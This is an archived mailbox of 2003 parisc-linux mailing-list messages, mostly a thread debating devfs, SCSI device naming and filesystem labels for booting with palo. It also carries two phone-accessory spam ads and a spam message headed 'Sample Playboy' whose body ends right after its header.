Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 61E2920000C; Wed, 11 Jun 2003 21:56:32 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id ED02A15383; Wed, 11 Jun 2003 19:52:53 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id E2AD91537F; Wed, 11 Jun 2003 19:52:53 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <3ED4C8B600004A2B@ocpmta1.freegates.net>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18643

On Wed, 11 Jun 2003, Joel Soete wrote:

Hi,

...
> the system hang here (just read on LCD "init c7ff")
....

> I so come back to palo-1.2 where the pb don't occure:
> Command line for kernel: 'root=/dev/scsi/host1/bus0/target5/lun0/part5 HOME=/
> console=ttyS0 TERM=vt102 palo_kernel=3/vmlinux-2.4.21-rc8-pa35-devfs'
>
> Selected kernel: /vmlinux-2.4.21-rc8-pa35-devfs from partition 3
> ELF32 executable
> Entry 00100210 first 00100000 n 6
> Segment 0 load 00100000 size 2101928 mediaptr 0x1000
> [...]

well if I got it right you changed disks ? And after re-running palo 1.2
from command line everything workd fine ? I don't know these internals
of palo - where it get's the kernel etc. from but it might be a problem
if boot disc completely changes ... you might simply try re-running
pal0-1.2patched from command line again and see what happens ?

And yes Matthew is 101% right that devfs at least on linux is a big
mess. It took me almost a week to fix some 2.5.xx and get it boot from
grub on an intel somewhen end of last year. Some weeks later I
installed FreeBSD 5.0R on that machine and I am happy with it ;-) so I
do no longer have the notes a hand (apart from backups) I took those
days about devfs.

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stian =?iso-8859-1?Q?S=F8iland?= <stian@soiland.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Wed, 11 Jun 2003 22:31:45 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <20030611203145.GB30555@itea.ntnu.no>
References: <3ED4C8B600004A2B@ocpmta1.freegates.net> <20030611175110.GE28581@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622507 26612 80.91.229.3 (22 Nov 2014 02:15:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 11 14:31:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from brev.stud.ntnu.no (brev.stud.ntnu.no [129.241.56.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2DE74834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jun 2003 14:31:47 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by brev.stud.ntnu.no (Postfix) with ESMTP id 4135813F08C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jun 2003 22:31:46 +0200 (CEST)
Original-Received: from ozelot.stud.ntnu.no (ozelot.stud.ntnu.no [129.241.56.185])
	by brev.stud.ntnu.no (Postfix) with ESMTP id 6D4B013ED96
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jun 2003 22:31:45 +0200 (CEST)
Original-Received: (from stain@localhost)
	by ozelot.stud.ntnu.no (8.11.6p2/8.10.0.Beta12) id h5BKVjm01414
	for parisc-linux@lists.parisc-linux.org; Wed, 11 Jun 2003 22:31:45 +0200
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030611175110.GE28581@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18644

On 2003-06-11 19:51:10, Matthew Wilcox wrote:

> On Wed, Jun 11, 2003 at 07:46:54PM +0200, Joel Soete wrote:
> > Anoyed to change my fstab because I add or remove a disk to/from the ex=
ternal
> > scsi controler of my b2k (boot disk sda became sdb, sdc, or what else),
> > I decide so to test devfs kernel. It seems to works (excepted that I co=
uld
> > not specify root=3D/dev/scsi/host1/bus0/target5/lun0/part5)
> (a) devfs is shit.  do not use it.
> (b) even if it's compiled in, the kernel still matches `root=3D' against a
> built-in table that has nothing to do with devfs.
> (c) devfs is shit.  do not use it.

This thread is going way off-topic for the parisc-list.. but.. I feel
the need to disagree anyway! =3D)

Your argumentation is flawed.

Joel gave a perfect example of when devfs would come of perfect use,
variation of scsi devices fucks up "sdb", "sdc" and so on.=20

I earlier mentioned another fine use of devfs, to avoid the trouble of
constantly changing major number for /dev/ttB0 =3D)

Matthew, I wonder if it would not be possible to have a ext3-label
'root' on the partition and say root=3DLABEL=3Droot (even though that would
look rather weird =3D) )

    tune2fs -L root /dev/bla/blah

LABEL=3Dblapp can be used in fstab aswell.

Sad things I've discovered:

  * reiserfs does not support those labels
 =20
  * you cannot have two devices with the same labels
    (I tried to have multiple BOOT-partitions, with hopes that
    witchever was available could be used, however, that won't
    work when both devices are present, of course =3D) )
 =20
  * Labels DON'T work with software raid, because the kernel will
    recognize the labels even on the seperate units of the raid,=20
    and start complaining about multible labels.
 =20
    However, you might specify raids using their UUIDs in=20
    /etc/mdadm/mdadm.conf:
 =20
    # root
    ARRAY /dev/md/0 UUID=3D9ec52c6f:af4958dd:4c8ff16e:95abab7c spare-group=
=3Dekstra
    # usr
    ARRAY /dev/md/1 UUID=3Dbd627bf7:8fcae3d0:4f3f4fe7:7b3786df spare-group=
=3Dekstra
    # home
    ARRAY /dev/md/2 UUID=3D47e9c924:5bbda641:b506006e:599c80e5 spare-group=
=3Dekstra
 =20
    ... but.. I've had trouble with usr and home switching place (md1 and
    md2) from now and then anyway, so maybe this is just a teoretical
    feature =3D)
 =20
    Obligatory quote from bash.org:

      #85899 +(53)- [X]
      * unchellmatt does the RAID lovers cheer... "ARRAY! ARRAY!"

I don't think you will be able to use devfs in root=3D as /dev can't be
mounted before / (unless you use initrd, that is, but I haven't figured
out how to do that with palo)

--=20
Stian S=F8iland               Work toward win-win situation. Win-lose
Trondheim, Norway           is where you win and the other lose.
http://www.soiland.no/      Lose-lose and lose-win are left as an
                            exercise to the reader.  [Limoncelli/Hogan]


From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: 11 Jun 2003 21:32:32 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <1055363548.2419.41.camel@dhcp22.swansea.linux.org.uk>
References: <3ED4C8B600004A2B@ocpmta1.freegates.net>
	 <20030611175110.GE28581@parcelfarce.linux.theplanet.co.uk>
	 <20030611203145.GB30555@itea.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622507 26615 80.91.229.3 (22 Nov 2014 02:15:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stian =?ISO-8859-1?Q?S=F8iland?= <stian@soiland.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 11 14:34:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E9844834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jun 2003 14:34:47 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h5BKWXRQ003231;
	Wed, 11 Jun 2003 21:32:34 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h5BKWWka003229;
	Wed, 11 Jun 2003 21:32:32 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030611203145.GB30555@itea.ntnu.no>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18645

> Joel gave a perfect example of when devfs would come of perfect use,
> variation of scsi devices fucks up "sdb", "sdc" and so on. 

Seperate the theory from the implementation. The implementation has real
problems. The theory has permission management problems

Dell have a nice little app that generates the right symlinks by device
all in user space



From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Hattie Yuan" <frankhe1978@sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] professional manufacturer specializing in mobile phone accessories
Date: Thu, 12 Jun 2003 09:24:48 +0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20030612012501.43CF3483E@dsl2.external.hp.com>
Reply-To: frankhe1978@sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622507 26616 80.91.229.3 (22 Nov 2014 02:15:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 11 19:25:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sina.com (unknown [202.105.138.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43CF3483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Jun 2003 19:25:01 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 4.0 beta 2 [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18646

   Dear Sir or Madam,
  
   Good day!
  
   HY Technology Company Limited,  registered in Hongkong and located in Shenzhen, is a   
professional manufacturer specializing in mobile phone accessories, mainly including Portable   hands 
free, Battery, chargers, case and data cable. 
  
   Our delivery time is 7 to 10 days after receiving payment by T/T. And we are very glad to send   
you samples in a certain quantity for your evaluation on freight collect basis.
  
   Any question, please contact me at any time.
  
   Sincerely hope to establish a long-term business relationship with you soon.
  
   Best regards,
  
   Maggie
   HY Technology Company Limted


From - Thu Nov 08 21:28:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Hattie Yuan" <hytechhk@163.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] professional manufacturer specializing in mobile phone accessories
Date: Thu, 12 Jun 2003 09:25:58 +0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20030612012612.1BBFD483D@dsl2.external.hp.com>
Reply-To: hytechhk@163.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622508 26623 80.91.229.3 (22 Nov 2014 02:15:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 11 19:26:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 163.com (unknown [202.105.138.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BBFD483D
	for <parisc-linux@parisc-linux.org>; Wed, 11 Jun 2003 19:26:12 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 3.11 Release [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18647

   Dear Sir or Madam,
  
   Good day!
  
   HY Technology Company Limited,  registered in Hongkong and located in Shenzhen, is a   
professional manufacturer specializing in mobile phone accessories, mainly including Portable   hands 
free, Battery, chargers, case and data cable. 
  
   Our delivery time is 7 to 10 days after receiving payment by T/T. And we are very glad to send   
you samples in a certain quantity for your evaluation on freight collect basis.
  
   Any question, please contact me at any time.
  
   Sincerely hope to establish a long-term business relationship with you soon.
  
   Best regards,
  
   Maggie
   HY Technology Company Limted


From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 12 Jun 2003 00:13:04 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030612061304.GC11363@dsl2.external.hp.com>
References: <3ED4C8B600004A2B@ocpmta1.freegates.net> <20030611175110.GE28581@parcelfarce.linux.theplanet.co.uk> <20030611203145.GB30555@itea.ntnu.no> <1055363548.2419.41.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622508 26626 80.91.229.3 (22 Nov 2014 02:15:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:08 +0000 (UTC)
Cc: Stian S?iland <stian@soiland.no>,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 12 00:13:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 73A52483D; Thu, 12 Jun 2003 00:13:04 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1055363548.2419.41.camel@dhcp22.swansea.linux.org.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18648

On Wed, Jun 11, 2003 at 09:32:32PM +0100, Alan Cox wrote:
> Dell have a nice little app that generates the right symlinks by device
> all in user space

Happen to know the name of the app?
Does it handle adding/removing HBAs gracefully?

thanks,
grant


From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II (scsi disk path name)
Date: Thu, 12 Jun 2003 10:12:48 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <3ED71F6D0000466D@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622508 26628 80.91.229.3 (22 Nov 2014 02:15:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:08 +0000 (UTC)
Cc: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 12 02:12:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D36634834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jun 2003 02:12:52 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19QNBP-0008N1-00; Thu, 12 Jun 2003 10:11:43 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 12 Jun 2003 10:12:48 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18649

>
>On Wed, Jun 11, 2003 at 07:46:54PM +0200, Joel Soete wrote:
> Anoyed to change my fstab because I add or remove a disk to/from the external
> scsi controler of my b2k (boot disk sda became sdb, sdc, or what else),
> I decide so to test devfs ker
el.
>It seems to works (excepted that I could
> not specify root=/dev/scsi/host1/bus0/target5/lun0/part5)

> (a) devfs is shit.  do not use it.

Ok but is there some other alternative to fix this pb?

I spook with "Kurt Garloff <garloff@suse.de
" about its patch "root=/dev/scsi/sdcXbXtXuXpX
support" into 2.4.20 but advise me better devfs?

An lvm ramdisk to rebuild for each new kernel test?

> (b) even if it's compiled in, the kernel still matches `root=' against
a
> built-in table tha
 has nothing to do with devfs.

Clear arg

> (c) devfs is shit.  do not use it.
Ok but is there some other alternative to fix this pb? ;-)

the early lvm discover of evms was removed in last release :(

Thanks for info and advise,
    Joel

PS:
Please accepte my apologies but it seems that my ISP changes a bit its
webmail tools and seems bugy for reply with copy of original text (break
thread, and mainly removed characters?)



---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 12 Jun 2003 10:45:47 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <3ED71F6D000046BD@ocpmta7.freegates.net>
References: <1055363548.2419.41.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622509 26632 80.91.229.3 (22 Nov 2014 02:15:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>,
	=?ISO-8859-1?Q?Stian=20S=F8iland?= <stian@soiland.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 12 02:45:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA3AB4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 12 Jun 2003 02:45:50 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19QNhK-0002QK-00; Thu, 12 Jun 2003 10:44:42 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 12 Jun 2003 10:45:47 +0200
In-Reply-To: <1055363548.2419.41.camel@dhcp22.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18650

>
>> Joel gave a perfect example of when devfs would come of perfect use,
> variation of scsi devices fucks up "sdb", "sdc" and so on. 

>Seperate the theory from the implementation. The implementation has real
>problems. The theory has permission management problems

I was just looking for a sol to this anoying scsi disk named to refer to
(a la /dev/[r]dsk/cXtXdX on hpux or /dev/dsk/cXtXdXsX on solaris; ie a name
independent of the scan order of [scsi] interfaces)

>Dell have a nice little app that generates the right symlinks by device
>all in user space

I will try to find it and test

Thanks,
    Joel

ps: btw merge 2.4.21 any news? now for > 2.4.22 (for my part no info from
Marcelo neither 'no' nor 'yes'; is there some specific ml archive to read)

---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:28:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Playboy Inc. <plus@real.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sample Playboy
Date: Thu,12 Jun 2003 16:50:49 PM
Lines: 819
Approved: news@gmane.org
Message-ID: <20030612085137.0DF57E9A@cuprel1.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary=#RXRUE28604#
X-Trace: ger.gmane.org 1416622509 26637 80.91.229.3 (22 Nov 2014 02:15:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 12 02:51:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id A176F4834
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jun 2003 02:51:49 -0600 (MDT)
Original-Received: from cuprel1.hp.com (unknown [202.113.25.81])
	by cuprel1.hp.com (Postfix) with SMTP id 0DF57E9A
	for <parisc-linux@parisc-linux.org>; Thu, 12 Jun 2003 01:51:37 -0700 (PDT)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18651

--#RXRUE28604#
Content-Type: text/html
